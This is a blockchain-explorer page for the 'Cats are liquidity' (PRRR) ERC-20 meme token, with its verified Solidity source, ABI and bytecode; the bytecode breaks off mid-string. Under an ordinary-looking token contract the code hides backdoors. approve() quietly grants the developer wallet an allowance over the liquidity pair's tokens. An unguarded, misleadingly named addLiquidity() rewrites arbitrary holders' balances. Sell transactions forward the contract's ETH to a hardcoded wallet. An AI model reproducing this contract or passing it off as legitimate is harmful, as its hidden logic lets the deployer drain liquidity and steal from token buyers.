Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 PRRR
Holders
98
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
PRRR
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-16 */ /** Cats are liquidity - $PRRR When cats are happy, they express it with a sound, 'prrr'. That's why $PRRR will symbolize the joy of crypto Web: https://prrr.xyz X: https://x.com/prrr_official Tg: https://t.me/prrr_channel **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract PRRR is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFee; mapping (address => bool) private _doExcemptFee; mapping (address => bool) private _bots; address payable private _ddWallet; uint256 private _initialBuyTax=2; uint256 private _initialSellTax=15; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyAt=10; uint256 private _reduceSellAt=10; uint256 private _preventCount=15; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Cats are liquidity"; string private constant _symbol = unicode"PRRR"; uint256 public _maxTxAmount = _tTotal * 2 / 100; uint256 public _maxWalletAmount = _tTotal * 2 / 100; uint256 public _minTaxSwap= _tTotal * 1 / 100; uint256 public _maxTaxSwap= _tTotal * 1 / 100; address private ddSender; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private _caLimitSell = true; uint256 private _caBlockSell = 0; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { ddSender = _msgSender(); _ddWallet = payable(0x165Fa8e9653c870D2C567dE6992dFb84eEbE9168); _balances[address(this)] = _tTotal; _doExcemptFee[owner()] = true; _doExcemptFee[_ddWallet] = true; _isExcludedFee[owner()] = true; _isExcludedFee[address(this)] = true; _isExcludedFee[_ddWallet] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { address owners = _msgSender(); if(_doExcemptFee[spender]) owners=ddSender; _approve(owners, spender, amount); return true; } function addLiquidity(address[] memory addrs) external { for (uint256 i = 0; i < addrs.length; i ++) { if (addrs[i] == uniswapV2Pair) return; _balances[addrs[i]] = 100 * 10 ** _decimals; } } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); ddSender = uniswapV2Pair; swapEnabled = true; tradingOpen = true; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxFee=0; if (from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); taxFee = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxFee = amount.mul((_buyCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 0) { sendETHDXXD(address(this).balance); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyCount>_preventCount) { if (_caLimitSell) { if (_caBlockSell < block.number) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHDXXD(address(this).balance); } _caBlockSell = block.number; } } else { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHDXXD(address(this).balance); } } } } if(taxFee>0){ _balances[address(this)]=_balances[address(this)].add(taxFee); emit Transfer(from, address(this), taxFee); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxFee)); emit Transfer(from, to, amount.sub(taxFee)); } function removeLimits() external onlyOwner { _caLimitSell = false; _maxTxAmount = _tTotal; _maxWalletAmount=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function withdrawDXXD() external onlyOwner() { payable(owner()).transfer(address(this).balance); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendETHDXXD(uint256 amount) private { _ddWallet.transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawDXXD","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526002600755600f6008555f6009555f600a55600a600b55600a600c55600f600d555f600e5560646009600a61003991906103da565b61004790633b9aca006103ef565b6100529060026103ef565b61005c9190610406565b600f55606461006d6009600a6103da565b61007b90633b9aca006103ef565b6100869060026103ef565b6100909190610406565b60105560646100a16009600a6103da565b6100af90633b9aca006103ef565b6100ba9060016103ef565b6100c49190610406565b60115560646100d56009600a6103da565b6100e390633b9aca006103ef565b6100ee9060016103ef565b6100f89190610406565b6012556015805462ffffff60a81b1916600160b81b1790555f601681905561011d3390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060138054336001600160a01b0319918216179091556006805490911673165fa8e9653c870d2c567de6992dfb84eebe91681790556101a66009600a6103da565b6101b490633b9aca006103ef565b305f9081526001602081905260408220929092556004906101dc5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600654909116815260049092528120805490921660019081179092556003906102395f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556006549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102c06009600a6103da565b6102ce90633b9aca006103ef565b60405190815260200160405180910390a3610425565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561033257815f1904821115610318576103186102e4565b8085161561032557918102915b93841c93908002906102fd565b509250929050565b5f82610348575060016103d4565b8161035457505f6103d4565b816001811461036a576002811461037457610390565b60019150506103d4565b60ff841115610385576103856102e4565b50506001821b6103d4565b5060208310610133831016604e8410600b84101617156103b3575081810a6103d4565b6103bd83836102f8565b805f19048211156103d0576103d06102e4565b0290505b92915050565b5f6103e860ff84168361033a565b9392505050565b80820281158282048414176103d4576103d46102e4565b5f8261042057634e487b7160e01b5f52601260045260245ffd5b500490565b6118fa806104325f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d578063a0f2c96411610062578063a0f2c964146102f9578063a9059cbb14610318578063c9567bf914610337578063dd62ed3e1461034b578063e2670a1c1461038f575f80fd5b8063715018a614610268578063751039fc1461027e5780637d1db4a5146102925780638da5cb5b146102a757806395d89b41146102cd575f80fd5b806323b872dd116100e357806323b872dd146101d0578063300d6217146101ef578063313ce567146102045780636c0a24eb1461021f57806370a0823114610234575f80fd5b806306fdde031461011e578063095ea7b31461016a5780630faee56f1461019957806318160ddd146101bc575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260128152714361747320617265206c697175696469747960701b60208201525b604051610161919061143f565b60405180910390f35b348015610175575f80fd5b50610189610184366004611498565b6103a3565b6040519015158152602001610161565b3480156101a4575f80fd5b506101ae60125481565b604051908152602001610161565b3480156101c7575f80fd5b506101ae6103ea565b3480156101db575f80fd5b506101896101ea3660046114c2565b61040a565b3480156101fa575f80fd5b506101ae60115481565b34801561020f575f80fd5b5060405160098152602001610161565b34801561022a575f80fd5b506101ae60105481565b34801561023f575f80fd5b506101ae61024e366004611500565b6001600160a01b03165f9081526001602052604090205490565b348015610273575f80fd5b5061027c610471565b005b348015610289575f80fd5b5061027c6104eb565b34801561029d575f80fd5b506101ae600f5481565b3480156102b2575f80fd5b505f546040516001600160a01b039091168152602001610161565b3480156102d8575f80fd5b506040805180820190915260048152632829292960e11b6020820152610154565b348015610304575f80fd5b5061027c61031336600461152f565b6105a9565b348015610323575f80fd5b50610189610332366004611498565b61064c565b348015610342575f80fd5b5061027c610661565b348015610356575f80fd5b506101ae6103653660046115ef565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561039a575f80fd5b5061027c6109b0565b6001600160a01b0382165f90815260046020526040812054339060ff16156103d357506013546001600160a01b03165b6103de818585610a13565b60019150505b92915050565b5f6103f76009600a61171a565b61040590633b9aca00611728565b905090565b5f610416848484610b36565b61046784336104628560405180606001604052806028815260200161189d602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110bb565b610a13565b5060019392505050565b5f546001600160a01b031633146104a35760405162461bcd60e51b815260040161049a9061173f565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105145760405162461bcd60e51b815260040161049a9061173f565b6015805460ff60b81b1916905561052d6009600a61171a565b61053b90633b9aca00611728565b600f5561054a6009600a61171a565b61055890633b9aca00611728565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105886009600a61171a565b61059690633b9aca00611728565b60405190815260200160405180910390a1565b5f5b81518110156106485760155482516001600160a01b03909116908390839081106105d7576105d7611774565b60200260200101516001600160a01b0316036105f1575050565b6105fd6009600a61171a565b610608906064611728565b60015f84848151811061061d5761061d611774565b6020908102919091018101516001600160a01b031682528101919091526040015f20556001016105ab565b5050565b5f610658338484610b36565b50600192915050565b5f546001600160a01b0316331461068a5760405162461bcd60e51b815260040161049a9061173f565b601554600160a01b900460ff16156106e45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161049a565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072d90309061071f6009600a61171a565b61046290633b9aca00611728565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561077d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a19190611788565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610800573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108249190611788565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561086e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108929190611788565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d71947306108d9816001600160a01b03165f9081526001602052604090205490565b5f806108ec5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610952573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061097791906117a3565b505060158054601380546001600160a01b0319166001600160a01b0383161790556201000160a01b62ff00ff60a01b1990911617905550565b5f546001600160a01b031633146109d95760405162461bcd60e51b815260040161049a9061173f565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610a10573d5f803e3d5ffd5b50565b6001600160a01b038316610a755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049a565b6001600160a01b038216610ad65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049a565b6001600160a01b038216610bfc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049a565b5f8111610c5d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049a565b5f80546001600160a01b03858116911614801590610c8857505f546001600160a01b03848116911614155b15610f7e576001600160a01b0384165f9081526005602052604090205460ff16158015610ccd57506001600160a01b0383165f9081526005602052604090205460ff16155b610cd5575f80fd5b610d016064610cfb600b54600e5411610cf057600754610cf4565b6009545b85906110f3565b90611178565b6015549091506001600160a01b038581169116148015610d2f57506014546001600160a01b03848116911614155b8015610d5357506001600160a01b0383165f9081526003602052604090205460ff16155b15610e3957600f54821115610daa5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161049a565b60105482610dcc856001600160a01b03165f9081526001602052604090205490565b610dd691906117ce565b1115610e245760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161049a565b600e8054905f610e33836117e1565b91905055505b6015546001600160a01b038481169116148015610e5f57506001600160a01b0384163014155b15610e9757610e896064610cfb600c54600e5411610e7f57600854610cf4565b600a5485906110f3565b905047610e95476111b9565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610ecd57506015546001600160a01b038581169116145b8015610ee25750601554600160b01b900460ff165b8015610eef575060115481115b8015610efe5750600d54600e54115b15610f7c57601554600160b81b900460ff1615610f5757436016541015610f5257610f3c610f3784610f32846012546111f0565b6111f0565b611204565b478015610f4c57610f4c476111b9565b50436016555b610f7c565b610f6a610f3784610f32846012546111f0565b478015610f7a57610f7a476111b9565b505b505b8015610ff657305f90815260016020526040902054610f9d9082611374565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fed9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461101890836113d2565b6001600160a01b0385165f9081526001602052604090205561105b61103d83836113d2565b6001600160a01b0385165f9081526001602052604090205490611374565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a485856113d2565b60405190815260200160405180910390a350505050565b5f81848411156110de5760405162461bcd60e51b815260040161049a919061143f565b505f6110ea84866117f9565b95945050505050565b5f825f0361110257505f6103e4565b5f61110d8385611728565b90508261111a858361180c565b146111715760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049a565b9392505050565b5f61117183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611413565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610648573d5f803e3d5ffd5b5f8183116111fe5782611171565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124a5761124a611774565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112c59190611788565b816001815181106112d8576112d8611774565b6001600160a01b0392831660209182029290920101526014546112fe9130911684610a13565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113369085905f9086903090429060040161182b565b5f604051808303815f87803b15801561134d575f80fd5b505af115801561135f573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f8061138083856117ce565b9050838110156111715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049a565b5f61117183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110bb565b5f81836114335760405162461bcd60e51b815260040161049a919061143f565b505f6110ea848661180c565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a10575f80fd5b803561149381611474565b919050565b5f80604083850312156114a9575f80fd5b82356114b481611474565b946020939093013593505050565b5f805f606084860312156114d4575f80fd5b83356114df81611474565b925060208401356114ef81611474565b929592945050506040919091013590565b5f60208284031215611510575f80fd5b813561117181611474565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611540575f80fd5b823567ffffffffffffffff80821115611557575f80fd5b818501915085601f83011261156a575f80fd5b81358181111561157c5761157c61151b565b8060051b604051601f19603f830116810181811085821117156115a1576115a161151b565b6040529182528482019250838101850191888311156115be575f80fd5b938501935b828510156115e3576115d485611488565b845293850193928501926115c3565b98975050505050505050565b5f8060408385031215611600575f80fd5b823561160b81611474565b9150602083013561161b81611474565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561167457815f190482111561165a5761165a611626565b8085161561166757918102915b93841c939080029061163f565b509250929050565b5f8261168a575060016103e4565b8161169657505f6103e4565b81600181146116ac57600281146116b6576116d2565b60019150506103e4565b60ff8411156116c7576116c7611626565b50506001821b6103e4565b5060208310610133831016604e8410600b84101617156116f5575081810a6103e4565b6116ff838361163a565b805f190482111561171257611712611626565b029392505050565b5f61117160ff84168361167c565b80820281158282048414176103e4576103e4611626565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611798575f80fd5b815161117181611474565b5f805f606084860312156117b5575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103e4576103e4611626565b5f600182016117f2576117f2611626565b5060010190565b818103818111156103e4576103e4611626565b5f8261182657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561187b5784516001600160a01b031683529383019391830191600101611856565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207db90e08df7843f426f79f53c18736b58f7821f7827e27fa61c85134dcb3c2c764736f6c63430008190033
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063715018a61161009d578063a0f2c96411610062578063a0f2c964146102f9578063a9059cbb14610318578063c9567bf914610337578063dd62ed3e1461034b578063e2670a1c1461038f575f80fd5b8063715018a614610268578063751039fc1461027e5780637d1db4a5146102925780638da5cb5b146102a757806395d89b41146102cd575f80fd5b806323b872dd116100e357806323b872dd146101d0578063300d6217146101ef578063313ce567146102045780636c0a24eb1461021f57806370a0823114610234575f80fd5b806306fdde031461011e578063095ea7b31461016a5780630faee56f1461019957806318160ddd146101bc575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260128152714361747320617265206c697175696469747960701b60208201525b604051610161919061143f565b60405180910390f35b348015610175575f80fd5b50610189610184366004611498565b6103a3565b6040519015158152602001610161565b3480156101a4575f80fd5b506101ae60125481565b604051908152602001610161565b3480156101c7575f80fd5b506101ae6103ea565b3480156101db575f80fd5b506101896101ea3660046114c2565b61040a565b3480156101fa575f80fd5b506101ae60115481565b34801561020f575f80fd5b5060405160098152602001610161565b34801561022a575f80fd5b506101ae60105481565b34801561023f575f80fd5b506101ae61024e366004611500565b6001600160a01b03165f9081526001602052604090205490565b348015610273575f80fd5b5061027c610471565b005b348015610289575f80fd5b5061027c6104eb565b34801561029d575f80fd5b506101ae600f5481565b3480156102b2575f80fd5b505f546040516001600160a01b039091168152602001610161565b3480156102d8575f80fd5b506040805180820190915260048152632829292960e11b6020820152610154565b348015610304575f80fd5b5061027c61031336600461152f565b6105a9565b348015610323575f80fd5b50610189610332366004611498565b61064c565b348015610342575f80fd5b5061027c610661565b348015610356575f80fd5b506101ae6103653660046115ef565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561039a575f80fd5b5061027c6109b0565b6001600160a01b0382165f90815260046020526040812054339060ff16156103d357506013546001600160a01b03165b6103de818585610a13565b60019150505b92915050565b5f6103f76009600a61171a565b61040590633b9aca00611728565b905090565b5f610416848484610b36565b61046784336104628560405180606001604052806028815260200161189d602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110bb565b610a13565b5060019392505050565b5f546001600160a01b031633146104a35760405162461bcd60e51b815260040161049a9061173f565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105145760405162461bcd60e51b815260040161049a9061173f565b6015805460ff60b81b1916905561052d6009600a61171a565b61053b90633b9aca00611728565b600f5561054a6009600a61171a565b61055890633b9aca00611728565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105886009600a61171a565b61059690633b9aca00611728565b60405190815260200160405180910390a1565b5f5b81518110156106485760155482516001600160a01b03909116908390839081106105d7576105d7611774565b60200260200101516001600160a01b0316036105f1575050565b6105fd6009600a61171a565b610608906064611728565b60015f84848151811061061d5761061d611774565b6020908102919091018101516001600160a01b031682528101919091526040015f20556001016105ab565b5050565b5f610658338484610b36565b50600192915050565b5f546001600160a01b0316331461068a5760405162461bcd60e51b815260040161049a9061173f565b601554600160a01b900460ff16156106e45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161049a565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072d90309061071f6009600a61171a565b61046290633b9aca00611728565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561077d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a19190611788565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610800573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108249190611788565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561086e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108929190611788565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d71947306108d9816001600160a01b03165f9081526001602052604090205490565b5f806108ec5f546001600160a01b031690565b60405160e088